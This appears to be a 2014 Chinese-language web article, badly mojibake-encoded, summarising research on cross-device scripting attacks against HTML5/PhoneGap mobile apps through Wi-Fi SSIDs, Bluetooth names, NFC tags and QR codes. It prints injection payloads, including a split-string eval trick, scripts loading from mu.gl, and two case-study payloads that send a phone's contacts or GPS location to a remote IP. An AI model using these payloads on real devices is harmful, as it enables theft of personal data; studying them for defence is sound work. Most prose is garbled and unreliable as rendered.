Äú¿ÉÒÔ¾èÖú£¬Ö§³ÖÎÒÃǵĹ«ÒæÊÂÒµ¡£

1Ôª 10Ôª 50Ôª





ÈÏÖ¤Â룺  ÑéÖ¤Âë,¿´²»Çå³þ?Çëµã»÷Ë¢ÐÂÑéÖ¤Âë ±ØÌî



  ÇóÖª ÎÄÕ ÎÄ¿â Lib ÊÓÆµ iPerson ¿Î³Ì ÈÏÖ¤ ×Éѯ ¹¤¾ß ½²×ù Modeler   Code  
»áÔ±   
 
   
 
 
     
   
 ¶©ÔÄ
  ¾èÖú
XDS: Cross-Device Scripting Attacks
 
»ðÁú¹ûÈí¼þ    ·¢²¼ÓÚ 2014-06-11
 

0x00 ÕªÒª

»ùÓÚHTML5µÄÒÆ¶¯Ó¦ÓóÌÐò±äµÃÔ½À´Ô½ÓÚÁ÷ÐУ¬Ö÷ÒªÊÇÒòΪËûÃǸüÈÝÒ×ÔÚ²»Í¬µÄÒÆ¶¯Æ½Ì¨½øÐÐÒÆÖ²¡£»ùÓÚHTML5µÄÓ¦ÓóÌÐòʹÓñê×¼µÄWeb¼¼Êõ£¬°üÀ¨HTML5 £¬ JavaScriptºÍCSS;ËüÃÇÒÀÀµÓÚһЩÈçPhoneGapµÄÖмä¼þÓëµ×²ãµÄ²Ù×÷ϵͳ½øÐн»»¥¡£

JavaScriptÊÇÈÝÒ×Êܵ½´úÂë×¢Èë¹¥»÷µÄ£¬ÎÒÃÇÒѾ­½øÐÐÁË»ùÓÚHTML5ÒÆ¶¯Ó¦ÓÃϵͳµÄÑо¿£¬ÊÔͼÆÀ¹ÀÒÀ¿¿Web¼¼ÊõµÄÒÆ¶¯Ó¦Óÿª·¢ÊÇ·ñÊǰ²È«µÄ¡£ÎÒÃǵķ¢ÏÖÊÇÏ൱¾ªÈ˵ģºÈç¹û»ùÓÚHTML5µÄÒÆ¶¯Ó¦ÓñäµÃÁ÷ÐУ¬Ëƺõ¸ù¾Ýµ±Ç°Ëùµ÷²éµÄ½á¹û£¬ÎÒÃÇÿÌì³£×öµÄ²Ù×÷¿ÉÄÜ»á±äµÃΣÏÕ£¬°üÀ¨¶þάÌõÂë¶ÁÈ¡£¬É¨ÃèWi-Fi½ÓÈëµã£¬²¥·ÅMP4ӰƬ£¬Åä¶ÔÀ¶ÑÀÉ豸µÈ¡£

³ýÁËͨ¹ýʵÀýµÄÓ¦ÓóÌÐòÑÝʾµÄ¹¥»÷£¬ÎÒÃÇÒѾ­Ñо¿ÁË186¸öPhoneGapµÄ²å¼þ£¬Ê¹ÓÃÓ¦ÓóÌÐòÀ´ÊµÏÖ¸÷ÖÖ¹¦ÄÜ£¬·¢ÏÖÆäÖÐ11Êǿɱ»¹¥»÷µÄ¡£»¹·¢ÏÖÁËÁ½¸öÏÖʵµ±ÖеĻùÓÚHTML5µÄÓ¦ÓóÌÐò£¬ºÜÈÝÒ×Êܵ½¹¥»÷¡£

0x01 ±³¾°

»ùÓÚHTML5µÄÒÆ¶¯Ó¦ÓóÌÐò´ó¶àÊý²»ÄÜÖ±½ÓÔËÐÐÔÚÒÆ¶¯ÏµÍ³£¬ÈçAndroidºÍiOS £¬ÒòΪÕâЩϵͳ²»Ö§³ÖHTML5ºÍJavaScript±¾Éí; WebÈÝÆ÷ÐèÒªäÖȾHTML5ÒÔ¼°Ö´ÐÐJavaScript´úÂë¡£

´ó¶àÊýÒÆ¶¯ÏµÍ³ÓÐÕâÑùµÄÈÝÆ÷£ºÔÚAndroidÖÐËüÊÇWebView£¬iOSÖÐÊÇUIWebView£¬Windows PhoneÖÐÊÇWebBrowser¡£Îª¼òµ¥Æð¼û£¬ÎÒÃÇÒÔ϶¼ÓÃWebViewÀ´±íÊö¡£

WebView£º WebViewÖÐ×î³õ±»Éè¼ÆÎªÔÊÐí±¾µØÓ¦ÓóÌÐò´¦ÀíºÍÏÔÊ¾ÍøÒ³ÄÚÈÝ¡£Ëü»ù±¾ÉϰüµÄÍøÂçä¯ÀÀ¹¦ÄÜ×éºÏ³ÉÒ»¸öÀ࣬¿ÉÒÔǶÈëµ½Ò»¸öÓ¦ÓóÌÐò£¬»ù±¾ÉÏÊÇÍøÒ³ä¯ÀÀÆ÷Ó¦ÓóÌÐòµÄ×é¼þ¡£ÓÃWebViewÖÐÌṩµÄAPI £¬Òƶ¯Ó¦ÓóÌÐò»¹¿ÉÒÔ×Ô¶¨ÒåWebViewÀïÃæµÄHTMLÒ³Ãæ¡£

ÓÉÓÚWebViewÖÐÓÃÓÚ¼ÓÔØWebÄÚÈÝ£¬Ëüͨ³£ÊDz»¿ÉÐŵģ¬ WebViewÏñä¯ÀÀÆ÷Ò»ÑùʵÏÖÁËÒ»¸öɳºÐ£¬Ê¹ÄÚ²¿µÄJavaScript´úÂëÖ»ÄÜÔÚÒ»¸ö¶ÀÁ¢µÄ»·¾³ÖÐÔËÐС£

ÕâÑùµÄɳÏäÊÊÓÃÓÚÍøÒ³ÄÚÈÝ£¬µ«¶ÔÓÚÒÆ¶¯Ó¦ÓóÌÐòÏÞÖÆ»¹ÊÇÌ«´ó£¬ÒòΪËü²»ÄÜ·ÃÎÊϵͳ×ÊÔ´£¬ÈçÎļþ£¬É豸´«¸ÐÆ÷£¬ÕÕÏà»úµÈ¡£

WebViewÔÚJavaScript´úÂëºÍ±¾»ú´úÂ루ÀýÈ磬 JavaµÄ£©Ö®¼ä´î½¨ÁËÒ»¸öµÄÇÅÁº¡£Õâ×ùÇÅ¿ÉÈÃJavaScript´úÂëÀ´µ÷ÓÃÖ÷»ú´úÂë¡£

ÒѾ­ÓÐÈË¿ª·¢Á˼¸¸öÖмä¼þ¿ò¼Ü£¬°üÀ¨PhoneGap £¬ Rhomobile£¬ AppceleratorµÈ¡£

ÔÚ±¾ÎÄÖУ¬ÎÒÃÇÑ¡Ôñ°ÑÖØµã·ÅÔÚ×îÁ÷ÐеÄPhoneGap¡£È»¶ø£¬ÎÒÃǵĹ¥»÷Ò²¿ÉÒÔÓ¦ÓÃÓÚÆäËûÖмä¼þ¡£

PhoneGapºÍPhoneGap²å¼þ£ºPhoneGap°ïÖú¿ª·¢ÈËÔ±´´½¨Ê¹ÓûùÓÚHTML5±ê×¼µÄÒÆ¶¯Ó¦ÓóÌÐòWeb¡£¿ª·¢ÈËÔ±ÔÚHTML£¬JavaScriptºÍCSSÖÐдӦÓóÌÐò¡£¸ÃPhoneGapµÄ¿ò¼ÜĬÈÏÇé¿öÏÂǶÈëÒ»¸öWebViewÖÐʵÀýµÄÓ¦ÓóÌÐò£¬²¢ÒÀ¿¿Õâ¸öWebViewÀ´³ÊÏÖHTMLÒ³ÃæºÍÖ´ÐÐJavaScript´úÂë¡£

PhoneGap¼Ü¹¹Í¼

0x02 XDS¹¥»÷

ÓÐÁ½ÖÖ·½Ê½¿ÉÒÔÈÃJavaScriptµÄ×Ö·û´®µ±³É´úÂëÖ´ÐУ¬Ò»ÖÖÊÇÀûÓÃeval() API£¬ÁíÒ»ÖÖÊÇͨ¹ýDOM APIºÍÊôÐÔ£¬Èçdocument.write(), appendChild(), innerHTMLµÈ¡£Ò»Ð©jQueryµÄչʾAPIÒ²ÓÐÎÊÌ⣬ÀýÈçhtml()ºÍappend()¡£

// Using Script Tag.
<script>alert(¡¯attack¡¯)</script>...Data...
// Using the IMG Tag¡¯s onerror attribute.
<IMG src=x onerror="alert(¡¯attack¡¯)">...Data...

DOM(jQuery)չʾAPIºÍÊôÐÔ£¨¹´±íʾÄÜ´¥·¢£¬²æ±íʾ²»Äܳö·¢£©¡£

ID Channels

ÔÚijЩÇé¿öÏ£¬ÔÚÒÆ¶¯É豸½¨Á¢ÓëÍⲿ½¨Á¢Á¬½Ó֮ǰ£¬Ëü´ÓÍⲿ»ñ¶ÔÓ¦ID£¬²¢ÏÔʾ¸øÓû§¡£ÎÒÃÇÑо¿ÈçºÎÕâÑùµÄIDͨµÀÀûÓöñÒâ´úÂë×¢Èëµ½ÒÆ¶¯É豸µ±ÖС£

Wi-Fi AP

ÕÒµ½¸½½üµÄWi -Fi½ÓÈëµã£¬Ðí¶àÖÇÄÜÊÖ»úÓû§°²×°Ä³Ð©Wi-FiɨÃèÒdzÌÐò£¬É¨Ã踽½ü¿ÉÓõÄWi-FiÈȵ㣬²¢ÏÔʾËûÃǵķþÎñ¼¯±êʶ·û£¨SSID £©¡£

ΪÁËÑÝʾ¹¥»÷£¬ÎÒÃÇÉèÖÃSSIDÏÂÃæµÄJavaScript´úÂ룺

<script>alert('attack')</script>

³ÌÐòչʾʹÓÃjavaдµÄËùÒÔ²»»áÖ´ÐÐjs´úÂ룺

·ÇPhoneGapÓ¦ÓÃ

ʹÓÃPhoneGapʵÏֵģ¬SSID½«ÔÚWebViewÖÐÏÔʾ£¬Õâ¸ö³ÌÐòʹÓÃhtml() APIչʾµÄSSIDµ¼ÖÂJavaScript´úÂëÖ´ÐС£

PhoneGapÓ¦ÓÃ

ͬʱÀ¶ÑÀµ±ÖÐÒ²¿ÉÄܳöÏÖÀàËÆµÄÎÊÌâ¡£

NFC¶ÁÈ¡Èí¼þµ±ÖУº

·ÇPhoneGapÓ¦ÓÃ

PhoneGapÓ¦ÓÃ

¶þάÂëɨÃ裺

·ÇPhoneGapÓ¦ÓÃ

PhoneGapÓ¦ÓÃ

MP3, MP4, and Images

·ÇPhoneGapÓ¦ÓÃ

PhoneGapÓ¦ÓÃ

µÈµÈ¡­¡­

0x04 ÏÞÖÆ

ÔÚ¸÷³¡¾°Öеij¤¶ÈÏÞÖÆ

¿ÉÒÔ¿´µ½Wi-Fiµ±Ö㤶ÈÏÞÖÆµÄ×î¶Ì¡£

¿ÉʹÓôúÂ룺

<script src=//mu.gl></script

img±êÇ©µÄ»°£º

<img src onerror=d=document;b=d.createElement(¡¯script¡¯);d.body.appendChild(b);b.src=¡¯http://mu.gl¡¯>

Èç¹ûÓÐʹÓÃjQueryµÄ»°£º

<img src onerror=$.getScript('http://mu.gl')>

Èç¹ûÒªÔÚSSIDµ±ÖÐʹÓõϰ£¬¿ÉÒÔʹÓþ­µäµÄ·Ö¸î´úÂëµÄ·½Ê½£º

<img src onerror=a="$.getScr">
<img src onerror=b="ipt(¡¯ht">
<img src onerror=c="tp://mu.">
<img src onerror=d="gl¡¯)">
<img src onerror=eval(a+b+c+d)>

0x06 °¸ÀýÑо¿

¿´¿´ÏÖʵµ±ÖÐÊÇ·ñÓÐapp¿ÉÒÔ±»¹¥»÷£º

°¸Àý1 £º GWT Mobile PhoneGap Showcase¡£

ÕâÊÇÒ»¸öPhoneGapµÄÑÝʾӦÓóÌÐò£¬ËüÏò¿ª·¢ÈËԱչʾÁËÈçºÎʹÓÃPhoneGapµÄºÍÆä²å¼þ¡£¸ÃÓ¦ÓóÌÐò°üÀ¨ÁËËùÓеÄÄÚÖòå¼þºÍÈý¸öµÚÈý·½²å¼þ£¬ChildBrowser²å¼þ£¬À¶ÑÀ²å¼þ£¬ Facebook²å¼þ¡£

¸ÃappʹÓÃinnerHTMLÀ´ÏÔʾÀ¶ÑÀÉ豸µÄÃû³Æ¡£ÎÒÃǰÑÀ¶ÑÀÃû³Æ¸Ä³É¹¥»÷´úÂëÊÔһϣº

< img src = x onerror = PhoneGap.exec(function(a) {

m = '';
for (i = 0; i < a.length; i++) {
m += a[i].displayName + '\n';
}
alert(m);
document.write('<img src=http://128.230.213.66:5556?c=' + m + '>');
},
function(e) {},
'Contacts', 'search', [['displayName'], {}]) >

°¸Àý2£ºRewardingYourselfÓ¦ÓóÌÐò¡£

ɨÃè¶þάÂëµÄ³ÌÐò£¬Õ¹Ê¾Ê¹ÓõÄinnerHTML£¬ÎÒÃÇÔÚ¶þάÂëµ±ÖвåÈëÈçÏ´úÂ룺

< img src = x onerror =

navigator.geolocation.watchPosition(

function(loc) {

m = 'Latitude: ' + loc.coords.latitude +

'\n' + 'Longitude: ' + loc.coords.longitude;

alert(m);

b = document.createElement('img');

b.src = 'http: //128.230.213.66:5556?c='+m })>

ʹÓÃgeolocation.watchPosition»ñÈ¡µ±Ç°Î»Öá£

   
´Îä¯ÀÀ       
 
Ïà¹ØÎÄÕÂ

iOSÓ¦Óð²È«¿ª·¢£¬Äã²»ÖªµÀµÄÄÇЩÊÂÊõ
Web°²È«Ö®SQL×¢Èë¹¥»÷
ÒÆ¶¯APP°²È«ÔÚÉøÍ¸²âÊÔÖеÄÓ¦ÓÃ
´ÓGoogle±¸·Ý»¥ÁªÍø¿´¡°Êý¾Ý°²È«¡±
 
Ïà¹ØÎĵµ

web°²È«Éè¼ÆÓë·À»¤
»¥ÁªÍøº£Á¿ÄÚÈݰ²È«´¦Àí¼¼Êõ
ºÚ¿Í¹¥»÷Óë·À·¶¼¼Êõ
WEBºÚºÐ°²È«¼ì²â
 
Ïà¹Ø¿Î³Ì

WEBÍøÕ¾ÓëÓ¦Óð²È«Ô­ÀíÓëʵ¼ù
webÓ¦Óð²È«¼Ü¹¹Éè¼Æ
´´½¨°²È«µÄJ2EE WebÓ¦ÓôúÂë
ÐÅÏ¢°²È«ÎÊÌâÓë·À·¶


iOSÓ¦Óð²È«¿ª·¢
Web°²È«Ö®SQL×¢Èë¹¥»÷
APP°²È«ÔÚÉøÍ¸²âÊÔÖеÄÓ¦ÓÃ
³õ̽PHPµÄSQL×¢Èë¹¥»÷µÄ¼¼Êõ
´ÓGoogle±¸·Ý¿´¡°Êý¾Ý°²È«¡±


WEBÍøÕ¾ÓëÓ¦Óð²È«Ô­ÀíÓëʵ¼ù
webÓ¦Óð²È«¼Ü¹¹Éè¼Æ
´´½¨°²È«µÄJ2EE WebÓ¦ÓôúÂë
×¢²áÐÅÏ¢°²È«×¨ÒµÈËÔ±(CISP)
ÐÅÏ¢°²È«¹ÜÀí
ÐÅÏ¢°²È«ÎÊÌâÓë·À·¶


ÖйúÒøÐÐ ÐÅÏ¢°²È«¼¼Êõ¼°Éî¶È·ÀÓù
WebÓ¦Óð²È«¼Ü¹¹¡¢ÈëÇÖ¼ì²âÓë·À»¤
ij²ÆË°ÁìÓòÖªÃûIT·þÎñÉÌ Web°²È«²âÊÔ
ÆÕÈð¿Ë˹ web°²È«Éè¼Æ¡¢²âÊÔÓëÓÅ»¯
±±¾©ºÍÀûʱ ÐÔÄܺͰ²È«ÐÔ²âÊÔ
SUNÖйú¹¤³ÌÑо¿Ôº JSF¿ò¼Ü¡¢°²È«